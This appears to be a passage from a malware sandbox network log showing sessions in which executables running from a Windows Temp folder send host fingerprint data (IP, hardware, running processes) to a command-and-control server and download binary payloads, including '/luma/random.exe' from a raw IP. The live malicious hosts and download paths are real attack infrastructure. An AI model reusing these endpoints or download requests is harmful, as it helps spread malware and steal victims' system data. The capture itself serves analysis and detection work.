Dec 16, 2024 09:01:41.374561071 CET	1236	IN	Data Raw: 41 75 b2 01 b3 82 5d ad 35 08 9f b1 5b b7 e8 19 f9 6e e7 01 1d 61 cb 9b 1a 05 ce f7 c9 38 90 68 56 f5 a3 9f 46 05 8d 30 94 08 40 9e 2d 2d db ca 7b 3e 7f 89 f1 58 b8 09 8e 09 bf 99 a2 ea a9 9f f1 8f 82 cd 84 08 48 2b 61 70 56 d1 74 cf 3e 05 c3 4a Data Ascii: Au]5[na8hVF0@--{>XH+apVt>Ja)\|v_Wq&-^}Rxy~p84ku.BmbU58-qS4&yJ q@]t(aH*2 hvc p^tiw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49906	141.8.192.141	80	3192	C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:01:43.303345919 CET	12360	OUT	POST /kJZQfgRLErzqwUgdaDCN1734167391 HTTP/1.1 Host: home.fivegr5sb.top Accept: / Content-Type: application/json Content-Length: 440324 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 33 33 36 31 30 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734336100", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 26, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 332 }, { "name": "csrss.exe", "pid": 420 }, { "name": "wininit.exe", "pid": 496 }, { "name": "csrss.exe", "pid": 504 }, { "name": "winlogon.exe", "pid": 564 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 924 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 444 }, { "name": "svchost.exe", "pid": 732 }, { "name": "svchost.exe", "pid": 280 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 16, 2024 09:01:43.423249006 CET	4944	OUT	Data Raw: 41 36 71 4c 55 32 49 31 4d 2b 47 74 63 76 74 46 4f 6f 43 79 4e 78 64 6d 7a 46 36 62 4c 37 53 4c 55 33 64 31 39 6e 38 7a 79 76 74 45 32 7a 7a 47 5c 2f 61 50 42 58 36 56 33 67 44 39 49 6a 4d 73 36 79 66 77 64 34 39 5c 2f 31 77 7a 48 68 33 41 34 66 Data Ascii: A6qLU2I1M+GtcvtFOoCyNxdmzF6bL7SLU3d19n8zyvtE2zzG\/aPBX6V3gD9IjMs6yfwd49\/1wzHh3A4fM84w3+q\/GnD\/1PA4rEPC0K\/teKOHckoYjnrp0\/Z4WpXqw+KdOMPePyDxe+jL43+A2X5PmvivwT\/qrgM+xtfLspxH+snCOefW8ZhqCxNej7PhvPs4rUOShJT58TTo0pfDCcppxODop7LjkdP5Uyv6IPwcKKKK
Dec 16, 2024 09:01:43.423309088 CET	2472	OUT	Data Raw: 5a 6e 45 73 79 44 5a 62 52 79 79 6a 59 5c 2f 6e 48 69 6a 34 33 66 74 49 79 36 76 38 51 66 32 67 76 68 64 34 5c 2f 30 37 58 76 67 4a 59 7a 57 6c 74 70 5c 2f 68 5c 2f 55 76 44 30 4a 54 54 37 2b 33 75 39 43 30 32 54 77 7a 71 47 68 79 78 54 61 31 70 Data Ascii: ZnEsyDZbRyyjY\/nHij43ftIy6v8Qf2gvhd4\/07XvgJYzWltp\/h\/UvD0JTT7+3u9C02TwzqGhyxTa1pl7BaaifEF\/4gt9XtdO1O0mVkurW8ubbR7P8AgDjrw\/zbNPFTjeOW4vC5PTlmuFq0cdjauLweDx2Z53hsvxuGyqGJwuHrweNxX16VSjSxKjSn7Gd5Lkbj\/qp4XeI\/D+X+CXh5UzjCVs7q0Mgx0K2XYOjgsbj8F
Dec 16, 2024 09:01:43.423327923 CET	2472	OUT	Data Raw: 63 6a 78 47 4e 34 49 34 6f 5c 2f 74 54 4c 61 55 38 79 55 61 65 4d 77 65 64 35 72 6c 31 53 6e 56 70 5a 6e 6a 4d 5a 69 36 55 34 4c 4c 4d 4d 71 31 43 72 57 63 61 65 49 70 4f 53 70 30 35 61 4c 2b 64 66 70 70 59 71 65 4f 2b 6a 33 78 50 37 58 4d 33 6e Data Ascii: cjxGN4I4o\/tTLaU8yUaeMwed5rl1SnVpZnjMZi6U4LLMMq1CrWcaeIpOSp05aL+dfppYqeO+j3xP7XM3ntDBcf8IPKsyqwy2Up4PGZLlWYU6lKrlmDweEqRm80xTpYilRUp4euoOpUhq\/ziooor\/U8\/xeIX+8fw\/kKbUnl+\/6f\/XqOg6AprLu\/CnUUAV6Kl2D3\/z+FNZdv5\/lQdBDsHv\/AJ\/CoqsVH5fv+n\/16
Dec 16, 2024 09:01:43.423535109 CET	4944	OUT	Data Raw: 77 44 6c 6d 62 6a 7a 65 44 6e 36 39 5c 2f 38 41 50 35 56 63 33 5a 56 30 5c 2f 77 42 54 5c 2f 77 41 74 66 33 65 66 5c 2f 77 42 58 2b 65 50 53 71 63 6e 37 75 52 30 63 58 45 44 5c 2f 41 4f 6b 52 53 2b 58 7a 36 66 38 41 31 71 30 4e 4b 66 58 35 66 71 Data Ascii: wDlmbjzeDn69\/8AP5Vc3ZV0\/wBT\/wAtf3ef\/wBX+ePSqcn7uR0cXED\/AOkRS+Xz6f8A1q0NKfX5fqHlu0j\/AC7\/AC8y59f1xVb55P3bp5b\/APLLy\/5fp1xVxv8AV79m6Hzf3R8r3H+e\/wDhD5fmbJvueZ\/q4\/8AUf6P9c847UG\/O\/L+vmVpPmk+\/sf\/AGP+W2cenb+v0obYu9Nn+six+8\/8m\/x\/z6U\/
Dec 16, 2024 09:01:43.423610926 CET	4944	OUT	Data Raw: 43 78 6d 77 65 5c 2f 77 44 6e 38 4b 62 73 50 74 5c 2f 6e 38 4b 6c 6f 6f 41 72 30 56 4a 4a 32 5c 2f 47 6f 36 44 6f 43 71 39 57 4b 69 66 72 2b 48 39 54 51 41 79 6f 5c 2f 4c 39 5c 2f 30 5c 2f 2b 76 55 6c 46 42 30 46 65 69 70 4a 4f 33 34 5c 2f 30 71 Data Ascii: Cxmwe\/wDn8KbsPt\/n8KlooAr0VJJ2\/Go6DoCq9WKifr+H9TQAyo\/L9\/0\/+vUlFB0FeipJO34\/0qOgBmwe\/wDn8KgzJ\/e\/z+VWqikbH4cn69v8+9Xzvy\/r5nQMqFl2+4qaiq515\/18wK9FStH6cex\/z\/jUVHOvP+vmdBXoqTy\/f9P\/AK9R1ZpT6\/L9SM\/61f8AdNR1J\/y0\/wA\/3ajoNAqOTt+P9Kkoo
Dec 16, 2024 09:01:43.423638105 CET	4944	OUT	Data Raw: 43 58 6a 33 56 50 69 6c 61 2b 4a 66 69 5a 38 59 4c 48 52 66 41 2b 74 52 65 46 66 44 73 5c 2f 67 72 34 51 65 4f 5c 2f 42 75 69 5c 2f 32 6d 76 78 46 38 4b 61 62 70 32 72 65 50 5c 2f 47 50 67 76 52 6d 31 50 55 64 6c 35 71 46 6e 59 77 79 33 36 2b 4c Data Ascii: CXj3VPila+JfiZ8YLHRfA+tReFfDs\/gr4QeO\/Bui\/2mvxF8Kabp2reP\/GPgvRm1PUdl5qFnYwy36+LeHvit4G8Q2ukzWni\/wAIvf3sGqf234eTU9Xt9e8F6ppWr3+lS6F4ni1zw7oeky6lOtkupQyeFdY8UaZHY3lvDe6jaavFfaXZ\/o2V+IHAFbN6\/CGUZ3lqzTKK39n1snwlCtRjgqlGiqsqEVDDQwlOlh6bpRqypz
Dec 16, 2024 09:01:43.543396950 CET	9888	OUT	Data Raw: 78 5c 2f 44 69 6f 66 7a 33 35 5c 2f 77 41 2b 32 4d 66 35 78 55 38 76 66 5c 2f 64 5c 2f 78 71 44 76 5c 2f 66 38 41 7a 34 5c 2f 6d 4b 78 4f 67 48 36 5c 2f 68 5c 2f 55 31 58 66 72 2b 46 53 31 42 4a 5c 2f 77 42 38 66 35 5c 2f 7a 37 2b 39 42 30 46 64 Data Ascii: x\/Diofz35\/wA+2Mf5xU8vf\/d\/xqDv\/f8Az4\/mKxOgH6\/h\/U1Xfr+FS1BJ\/wB8f5\/z7+9B0Fdg\/wDc+T\/pnn19vw\/zmmNnv6jp\/r+nb3qwn3R+P8zUUkf9\/wD7a\/569z\/kCg0+s\/1b\/wC1Gbj\/AL57\/wD18fpVaSP5vub383\/nr+nf\/Hp2qz93Zv8An4\/1kf8AqP8AI\/Ombfmf+NP8\/n+ff35D
Dec 16, 2024 09:01:43.543435097 CET	2472	OUT	Data Raw: 54 4c 74 5c 2f 50 38 41 4b 67 6f 5a 55 4c 4c 74 39 78 55 31 46 41 46 65 69 6e 79 4b 66 34 41 66 79 7a 5c 2f 6b 6d 6d 55 48 51 56 36 4b 6b 78 39 5c 2f 50 2b 66 34 76 38 4b 50 4c 39 5c 2f 30 5c 2f 77 44 72 30 41 52 31 48 4a 32 5c 2f 47 70 4b 61 5c Data Ascii: TLt\/P8AKgoZULLt9xU1FAFeinyKf4Afyz\/kmmUHQV6Kkx9\/P+f4v8KPL9\/0\/wDr0AR1HJ2\/GpKa\/wB0\/h\/MUHQQ0VJ5fv8Ap\/8AXqOtPZ+f4f8ABAj8v3\/T\/wCvUdWKh2N6fy\/xp8i8\/wCvkae08vx\/4A2o2XuPx\/xqSirNCvRUnl+\/6f8A16PL9\/0\/+vQBHVernl+\/6f8A16joNPaeX4\/8Ar01l3c
Dec 16, 2024 09:01:43.543448925 CET	2472	OUT	Data Raw: 54 37 69 52 37 4a 50 38 41 56 2b 58 46 2b 5c 2f 38 41 66 5c 2f 41 66 6c 37 31 5a 38 74 46 6b 50 6e 49 6d 79 54 39 37 2b 38 5c 2f 35 59 33 48 2b 65 4b 72 4e 76 2b 5c 2f 73 38 76 38 41 65 5c 2f 75 76 33 76 38 41 34 46 5c 2f 35 5c 2f 4c 76 51 62 45 Data Ascii: T7iR7JP8AV+XF+\/8Af\/Afl71Z8tFkPnImyT97+8\/5Y3H+eKrNv+\/s8v8Ae\/uv3v8A4F\/5\/LvQbEMjO3kvsj\/6ZeZx53Xn\/PWiRf3kfyf6uXHlyfUD\/Oe2KmWP5lRH\/wCPeLzf3kv+u\/6df8+1QybI5IdnyJ\/rY\/8APStKnT5\/oaU+vy\/UJS\/yZT\/plJ5n+f8A69VpIkWRERfnH+q+n+fp1qy2F+++xJP3
Dec 16, 2024 09:01:43.584933996 CET	27192	OUT	Data Raw: 5c 2f 6d 4b 68 6f 41 6a 6b 37 66 6a 5c 2f 53 71 37 4c 33 48 34 5c 2f 77 43 4e 58 4b 59 5c 2f 54 38 66 36 47 67 36 43 6e 73 66 32 5c 2f 4c 5c 2f 37 4b 6d 68 64 76 72 2b 4e 57 61 6a 6b 37 66 6a 5c 2f 41 45 72 53 6e 31 2b 58 36 6d 6c 50 72 38 76 31 Data Ascii: \/mKhoAjk7fj\/Sq7L3H4\/wCNXKY\/T8f6Gg6Cnsf2\/L\/7Kmhdvr+NWajk7fj\/AErSn1+X6mlPr8v1Idi+n8\/8aZIuefXg\/Xt\/n2qWitDQr0xlTvx\/X8OafRQdBXpj\/wC5uqV\/vH8P5Cm0GlPr8ivVetCq9B0U+vy\/Ur0x+n4\/0NSv94\/h\/IU2g0K9FOf7x\/D+QptBpT6\/L9SF\/vH8P5Cm1JJ2\/H+lR0G
Dec 16, 2024 09:01:46.035754919 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Mon, 16 Dec 2024 08:01:45 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 78 63 59 45 63 58 37 37 47 4e 77 31 54 77 51 6f 31 37 33 34 33 33 36 31 30 35 Data Ascii: xcYEcX77GNw1TwQo1734336105

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49917	141.8.192.141	80	3192	C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:01:46.383702993 CET	123	OUT	GET /kJZQfgRLErzqwUgdaDCN1734167391?argument=xcYEcX77GNw1TwQo1734336105 HTTP/1.1 Host: home.fivegr5sb.top Accept: /
Dec 16, 2024 09:01:47.863888979 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Mon, 16 Dec 2024 08:01:47 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="9fqAEawLfppvInuhFWM;" last-modified: Sat, 14 Dec 2024 09:09:51 GMT cache-control: no-cache etag: "1734167391.861205-10816560-3349682490" Data Raw: 61 bb a5 af 91 37 93 e2 ce a6 57 fb bb 37 7b 52 08 7e 81 5e e3 4d 90 f0 ad 46 0d f6 b2 46 c0 ad bf 5b 2a 47 c3 e1 5e 18 63 d1 55 b5 a3 00 2b 29 51 a4 80 25 1c 2e bf b6 d9 af a4 8d 38 d1 52 85 03 6e 3b e3 c6 36 ce 16 fa 12 a2 6b 33 d8 5c 33 fe 44 02 23 20 a7 df e7 d1 a4 7b 50 47 e2 c4 61 39 67 a2 08 99 2d dc 5a fc d6 e8 7c 35 77 31 28 a2 f9 b0 ea 7b 62 47 d1 c8 87 6d 00 c3 8f b5 b5 19 b2 59 dd 11 4d d0 84 c9 83 72 e3 3c f9 b1 a4 69 b4 8b 47 1b f1 ac 3b 3b 19 4c 22 19 2a b4 2f 03 c3 33 fc 07 7e 54 78 f2 b4 b2 ef c8 43 9f aa 63 86 1f 1d 3b 29 93 9b 7a fe d4 53 af d7 a2 25 2e f9 30 6e 16 52 40 3c 7f 87 b3 46 89 99 70 54 9a 87 8b db 9d 57 e3 2b cb fb 2a 95 53 0e c3 23 84 74 f9 50 bc df 62 3e ac 50 34 0b b4 d9 4b f5 50 0d c6 8c 58 18 80 de 61 2f 85 03 a8 cd e4 e3 a7 35 6b 0b 99 be 8c fa c3 f3 10 cd 1f 94 f7 dc d4 01 fe 7a b2 4f f6 c7 69 3a a1 f3 cd b8 31 55 11 bc 8a d5 d5 2c 58 4a 60 44 37 3c 6c a0 49 7f 9f c4 40 0a ec 25 a5 68 86 3a 0c 48 cf 88 21 c1 04 5d 55 02 7f c7 07 eb 95 40 81 73 cc 5b 06 05 0e e7 [TRUNCATED] Data Ascii: a7W7{R~^MFF[G^cU+)Q%.8Rn;6k3\3D# {PGa9g-Z\|5w1({bGmYMr<iG;;L"/3~TxCc;)zS%.0nR@<FpTW+S#tPb>P4KPXa/5kzOi:1U,XJ`D7<lI@%h:H!]U@s[1is-PeHcTNZ'qm?w6. S#;u4DR/6Jx$qgB%}'7\xa"%\|$zrVO`)#,AV"IC>i%pExV?O@%v/yI>0-p-UD=8!N!h8~>h,hP3iD#bY6x{S%2S;~DF'3:>&X>Iz:M&/^oLWnF`JH&gC\|!E<?A:O:6-X-^u'}0/4^q,lK4RvJ ?{Zd.W{;s(.$[IvU<"tA?x+^Ypp{Wt4fjYdE\|(Krxr5I$CtAjLo]
Dec 16, 2024 09:01:47.863923073 CET	224	IN	Data Raw: 89 96 4c ba 22 4f e3 a9 bf a1 11 cc b8 a1 e1 3e 2f 3e 1d 33 25 19 4b 91 fe 46 cc ae 11 1d c7 0f 2e 30 47 80 54 aa b5 fd 2b d1 e1 bb ad 80 6e 45 e3 67 5c 20 18 21 66 da 40 16 a2 80 ad 8f 8f cf b2 b5 57 17 27 06 3d c9 57 ad a3 f8 7c 98 24 bb 61 2f Data Ascii: L"O>/>3%KF.0GT+nEg\ !f@W'=W\|$a/Y} }?W+i2+cOi\|6br{-<KqFrM^6wJjb[$A)3V)iaJ-Nl-ti$9}kS7W=fX
Dec 16, 2024 09:01:47.863934040 CET	1236	IN	Data Raw: d4 db c5 0a 43 90 3f 0f 63 25 43 7c 71 34 91 1c e8 e7 2e 7c 75 32 c1 a9 a4 5d 3c d7 48 e5 8e 13 99 38 1b 64 b2 dc 90 99 8f 95 40 75 dd 72 6f da ac ea fe 3d 77 3d 39 1d fc 6e 52 6f d1 61 9f d3 b9 c4 4e b1 d3 6a f6 c1 dd 9b 9a 52 7c 34 66 63 ad 5e Data Ascii: C?c%C\|q4.\|u2]<H8d@uro=w=9nRoaNjR\|4fc^Y!1}BU)}gxR\|#@rC;B?3i:dOwa$M7U#r4jCj5P- W%C\|&!Uc\8^FByW][et?
Dec 16, 2024 09:01:47.863984108 CET	1236	IN	Data Raw: 71 d3 50 43 b3 15 b7 cc e7 c1 5d 11 2e 80 ca 60 16 4c f1 df c6 23 a0 a3 f6 e6 be 66 99 d8 28 06 b2 0f 46 ce 1f a7 44 75 24 05 4f 87 fd 98 7e e1 49 bc 9e fc 78 b6 09 f4 7c 38 01 78 c0 ca 3b 65 89 5c fd 03 a4 97 29 90 cb cd 47 10 33 e6 ae 46 04 e3 Data Ascii: qPC].`L#f(FDu$O~Ix\|8x;e\)G3F7sNm-/k?AR4u,Ohu2ct;!{J_CI~]VXiHSLWhcdcD+.Nt$\<HR
Dec 16, 2024 09:01:47.863996983 CET	1236	IN	Data Raw: 98 d3 5f c4 e9 1c ee c9 5f bf c9 91 4f 6a 93 27 79 d1 a7 9a d6 c3 db dd ea 6c 0f 42 44 7c ad eb f0 04 71 87 ac 30 6d 6f a7 e2 f5 ba 56 4c 7c 6d ce fd e7 14 b4 49 dd fd 59 aa a8 0a b0 08 24 11 98 48 5d 37 74 95 12 31 c5 c7 d5 64 e7 e9 6b 1a 32 a8 Data Ascii: __Oj'ylBD\|q0moVL\|mIY$H]7t1dk2fK.]zVmc_[V-Io;O{2v&Vb*#}lT?s1@'Op!<ICYHLS(K\bO'%efVDN}}1>2!@x
Dec 16, 2024 09:01:47.864139080 CET	1236	IN	Data Raw: 8d 16 b4 bf 69 8f 55 05 e7 69 a4 75 de a2 1b bf 7a 15 4a e1 7e f2 26 41 cb dd e2 cb f6 95 47 00 0e 60 05 7e 9b 20 39 2a 7e 2e 1f 44 72 72 2b be fb 59 5c f4 4a bc 5a e2 8f 7d 66 f6 9b 80 b9 95 c3 aa c3 82 dc 98 5a 8b a4 2a bf 3d e9 54 c5 73 06 7f Data Ascii: iUiuzJ~&AG`~ 9~.Drr+Y\JZ}fZ=TsbDu4ECGyj2\|[T@splw[zTWCpn#k?*R.pAp,}$rs!5\|2O.dM5$;eAcY4QL-c9q
Dec 16, 2024 09:01:47.864207983 CET	1236	IN	Data Raw: 7c 5b 6e 98 44 2c 9d 2c 52 e6 2c 4e eb 19 fd be f7 20 b8 1f 63 0d 3e 19 dc 54 bd 8d 50 24 eb b6 90 14 9c 21 ed c0 27 26 e8 7e 69 a8 2e fa ab 83 4f 30 e3 07 4f b9 74 0a 98 31 30 96 6c 27 a5 81 12 41 67 fd 8a de da 71 ff c6 46 8b c6 ca 1c d6 1c d7 Data Ascii: \|[nD,,R,N c>TP$!'&~i.O0Ot10l'AgqF2 _qY!>SU@#XHNjsr]{yJem]*5M~MZvMwg2\|r`2QI+sKREniNq[m/YDtb4
Dec 16, 2024 09:01:47.864227057 CET	1236	IN	Data Raw: b8 35 7e c6 47 b9 71 93 af e6 cf 93 76 a0 8b 89 cb 32 58 27 ca 4a 7b 64 91 2e 8c a1 cb da db 79 27 4b 0d d9 6e 6a 26 43 74 bc 26 ae e1 5e 8d 11 6c a4 8b d3 e3 0f 3c bc 58 d1 30 0f 12 63 68 6b db 2a a9 cb 91 f4 1e 20 30 92 d1 12 36 00 06 da 49 14 Data Ascii: 5~Gqv2X'J{d.y'Knj&Ct&^l<X0chk* 06Iv}vFB5>S<_xo\|I8^r;Uwf<CEc\}`/tT5%+vg3bale,y!)v,<~b8n['yV0
Dec 16, 2024 09:01:47.864240885 CET	776	IN	Data Raw: 1d 70 76 85 43 a1 2a 81 cd ec 0d 6e ac aa 87 45 a6 8a de d4 81 58 ef 40 80 5f e5 ed ff 37 f1 d9 30 f5 1f 0d 82 3b 4a 32 1f 93 89 67 6e 57 f6 35 70 39 b1 e5 bd 6c a5 65 cc 7c e9 69 0d 4c 85 00 51 b3 eb b5 48 f7 27 ad 32 d0 2b b4 b8 dc 2d 45 7d 0f Data Ascii: pvC*nEX@_70;J2gnW5p9le\|iLQH'2+-E}an:wyQG#&hfhiZ zY,"8q,y=WU~u6,Ofm,\_Gk-@r4),zjcxj5?A~opC5'
Dec 16, 2024 09:01:47.864253044 CET	1236	IN	Data Raw: aa da 29 df c9 d6 95 59 65 82 9d 0e 6d fb af 5c 67 ab 50 4e 4b cb bb f2 bf bf 67 46 24 8b dc 68 27 67 b9 7e 4f 16 8b 7d 99 94 1b ca a9 11 93 91 9a 7d 1b 3e 00 dc 5c 8b 8c 31 ba 83 69 e9 bc 74 0e 3b 00 c0 1b de c9 16 90 c7 60 04 df 99 73 b1 42 86 Data Ascii: )Yem\gPNKgF$h'g~O}}>\1it;`sBHUGYAJO`8)-(=5x=IRQ?'FL+GT-"bnRs#3ftD}/xoHHgXm eIt3
Dec 16, 2024 09:01:47.983778954 CET	1236	IN	Data Raw: 8c 57 b1 b0 d0 c1 ec f3 2d b7 8a ec 54 12 6e d6 40 ab 30 77 6a de 48 2d 43 a1 98 59 82 bc 78 dd e2 da 1d 2f b0 73 63 62 1a 83 0f ea 9a 03 03 cb 2e a6 28 58 d9 a3 35 b7 34 72 c9 29 e2 85 86 ff b9 99 01 bb 3e 60 80 b5 7b 37 af 8f 15 0e 59 03 08 92 Data Ascii: W-Tn@0wjH-CYx/scb.(X54r)>`{7YhmIfu^c>>Ze1yY$//ItJ?#(D??0GoAi*Q!7z6BP-o\|w4^>peS`Bi_6Ha-@rn-~+q@?3{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49928	185.215.113.43	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:01:50.718355894 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 39 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015996001&unit=246122658369
Dec 16, 2024 09:01:52.074954033 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:01:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49929	185.215.113.16	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:01:52.215049028 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 09:01:53.538378954 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:01:52 GMT Content-Type: application/octet-stream Content-Length: 1818624 Last-Modified: Mon, 16 Dec 2024 07:22:23 GMT Connection: keep-alive ETag: "675fd52f-1bc000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 e0 47 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 48 00 00 04 00 00 40 84 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gG@H@@T0h 1 H@.rsrc X@.idata 0\@ P)@^@bpjgunit@.:`@mcnhayjyG@.taggant0G"@
Dec 16, 2024 09:01:53.538440943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 09:01:53.538456917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 09:01:53.538542986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 09:01:53.538559914 CET	1236	IN	Data Raw: c6 cb 48 6e 71 aa c5 21 97 74 a3 41 77 94 75 4a 4c e4 ec 45 e9 4b ca ce 29 27 1f 9e 09 e5 df e8 bd bb 6e d9 73 7f c7 00 f9 2b df 46 81 d3 a9 cf 6f 64 c6 80 e1 b2 df e2 40 34 a5 fd 27 9c a9 ea 82 79 f8 ef fc ed 12 10 3c fe 67 05 04 c6 11 c5 36 cf Data Ascii: Hnq!tAwuJLEK)'ns+Fod@4'y<g6%{e@}+GlgLphZ)-[&]i[@>1O{b0&#eNeCmai(Tbqve &PY-nz*;ze[
Dec 16, 2024 09:01:53.538707018 CET	1236	IN	Data Raw: 79 35 85 01 38 85 e8 6c e9 66 e0 82 53 5d 2d a8 1c 83 c4 e1 a5 c7 05 16 fc 85 24 45 b5 af e5 cc c1 61 8c dc 3b 77 33 55 65 03 a5 41 08 ec c7 3f 0c 83 a5 10 00 47 ab 2c cb 33 71 68 ce dd 3a ff 27 2b 80 13 db 71 6e 63 28 d7 cc fd 41 7b a5 c9 19 13 Data Ascii: y58lfS]-$Ea;w3UeA?G,3qh:'+qnc(A{H{RgMvP\ 5bhVuj!lEK?$G3Nf1y]#pxbc-gNY(FQ6ayNp<e/l]aLX
